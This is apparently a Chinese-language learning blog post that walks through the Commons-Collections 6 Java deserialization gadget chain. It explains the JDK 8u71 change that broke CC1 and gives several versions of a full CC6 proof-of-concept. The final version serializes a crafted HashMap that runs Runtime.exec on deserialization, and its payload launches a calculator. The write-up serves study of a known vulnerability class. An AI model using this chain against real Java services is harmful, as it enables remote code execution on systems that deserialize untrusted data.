前言这里我们切换一个高版本的jdk发现运行失败在JDK-8u71版本之后,cc-1的关键漏洞点AnnotationInvocationHandler.java的readObject方法做出了以下修改这里可以看到直接删除了setValue()。cc-2的关键漏洞点AnnotationInvocationHandler.java的readObject方法做出了以下修改不再通过defaultReadObject方式,而是通过readFields 来获取几个特定的属性,defaultReadObject 可以恢复对象本身的类属性,比如this.memberValues 就能恢复成我们原本设置的恶意类,但通过readFields方式,this.memberValues 就为null,所以后续执行get()就必然没发触发,这也就是高版本不能使用的原因。这里具体的各位师傅去找找吧 我也是复制的 知道大概为什么就行了,对我来说没必要太深入底层Commons-Collections 6介绍这条链不受jdk版本限制也不受cc版本限制先看一下完整的调用链/* Gadget chain: java.io.ObjectInputStream.readObject() java.util.HashSet.readObject() java.util.HashMap.put() java.util.HashMap.hash() org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() org.apache.commons.collections.map.LazyMap.get() org.apache.commons.collections.functors.ChainedTransformer.transform() org.apache.commons.collections.functors.InvokerTransformer.transform() java.lang.reflect.Method.invoke() java.lang.Runtime.exec() by @matthias_kaiser */这里可以看到后半条链和原版cc1是没有区别的,其实看了这么两条可以发现cc链是一个系列,所以变的地方不多,后半条链的分析可以看以前的文章。CommonsCollections 6老规矩要从攻击者视角学习链就只能参考,当然这里还是不能太死板接下来我们就找哪里调用了get(太多惹,直接看poc吧)这里可以看到TiedMapEntry的getValue方法调用了map.get,这里map可控。写一个 EXP,确保这条链子是能用的public class CC6Test { public static void main(String[] args) throws IOException, Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); Map<Object, Object> transformedmap = LazyMap.decorate(map, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(transformedmap, "key"); tiedMapEntry.getValue(); } }因为 TiedMapEntry 是作用域是 public,所以我们不需要反射获取它的方法,可以直接调用并修改。成功执行!接下来我们就看看哪里调用了getValue方法● 寻找的方法也略提一嘴,因为 getValue() 这一个方法是相当相当常见的,所以我们一般会优先找同一类下是否存在调用情况。这段话是在大佬blog复制的,因为我没实际理解就不说了根据poc找吧巧~后门!!!如果我们在实战里面,某条链中找到了 hashCode() 方法,就基本已经可以“开香槟”了~我们去找谁调用了 hashCode() 方法,这里没说的前面文章已经说过了urldns链是不受版本限制的也有一个hashcode(这里也是cc6不受版本限制的原因),所以找到 hashCode() 之后的链子用的基本都是这一条。xxx.readObject() HashMap.put() --自动调用--> HashMap.hash() 后续利用链.hashCode()更巧的是,这里的 HashMap 类本身就是一个非常完美的入口类。后门!!pocpublic class CC6Test { public static void main(String[] args) throws IOException, Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key"); //tiedMapEntry.getValue(); HashMap<Object, Object> expmap = new HashMap<>(); expmap.put(tiedMapEntry,"value"); serialize(expmap); //unserialize("cc6.bin"); } private static void serialize(Object obj) throws IOException { ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("cc6.bin")); oss.writeObject(obj); System.out.println(new java.util.Date()); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); System.out.println(new java.util.Date()); return obj; } }但是!我在打断点调试的时候发现当我序列化的时候就弹出了计算器其实这里就跟URLDNS 中是一样的。不同点是有些链可以通过设置参数修改,在我们 CC6 链当中,通过修改这句代码 Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);,就可以让我们put进去的时候触发不了这条链,从而达到我们需要的效果。我们之前传进去的参数是 chainedTransformer,我们在序列化的时候传进去一个没用的东西,再在反序列化的时候通过反射,将其修改回 chainedTransformer。相关的属性值在 LazyMap 当中为 factoryMap<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer("Itachi")); ... //这里就是在序列化之前反射修改LazyMap的factory Class<LazyMap> lazyMapClass = LazyMap.class; Field factoryField = lazyMapClass.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMapClass, chainedTransformer);public class CC6Test { public static void main(String[] args) throws IOException, Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer("Itachi")); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key"); HashMap<Object, Object> expmap = new HashMap<>(); expmap.put(tiedMapEntry,"value"); //在执行 put 方法之后通过反射修改 Transformer 的 factory 值 Class<LazyMap> lazyMapClass = LazyMap.class; Field factoryField = lazyMapClass.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap,chainedTransformer); serialize(expmap); unserialize("cc6.bin"); } private static void serialize(Object obj) throws IOException { ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("cc6.bin")); oss.writeObject(obj); System.out.println(new java.util.Date()); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); System.out.println(new java.util.Date()); return obj; } }但是我们会发现不管是序列化/反序列化都不会执行了。为什么呢?我们看一下关键点,就不细说了其实还是上面的问题,put时会调用链子,从而进入LazyMap.get(),此时没弹计算器是因为我们传入了人畜无害的Itachi,同时此时会往LazyMap的map中写入键值对("xxx",1),从而使在反序列化时,LazyMap的map属性中有了"xxx"这个键名,就不会进入到if条件,反序列化时也就进入不到transformers数组执行命令了。所以我们需要在put之后再删掉LazyMap的key这个勾八key为什么是那个位置卡了很久最后发现是TiedMapEntry构造的时候传进去那个,看视频和文章产生了歧义,这里应该是判断lazyMap的map里有没有这个我们传的key最终POCpublic class CC6Test { public static void main(String[] args) throws IOException, Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer("Itachi")); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key"); HashMap<Object, Object> expmap = new HashMap<>(); expmap.put(tiedMapEntry,"value"); lazyMap.remove("key"); //在执行 put 方法之后通过反射修改 Transformer 的 factory 值 Class<LazyMap> lazyMapClass = LazyMap.class; Field factoryField = lazyMapClass.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap,chainedTransformer); serialize(expmap); unserialize("cc6.bin"); } private static void serialize(Object obj) throws IOException { ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("cc6.bin")); oss.writeObject(obj); System.out.println(new java.util.Date()); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); System.out.println(new java.util.Date()); return obj; } }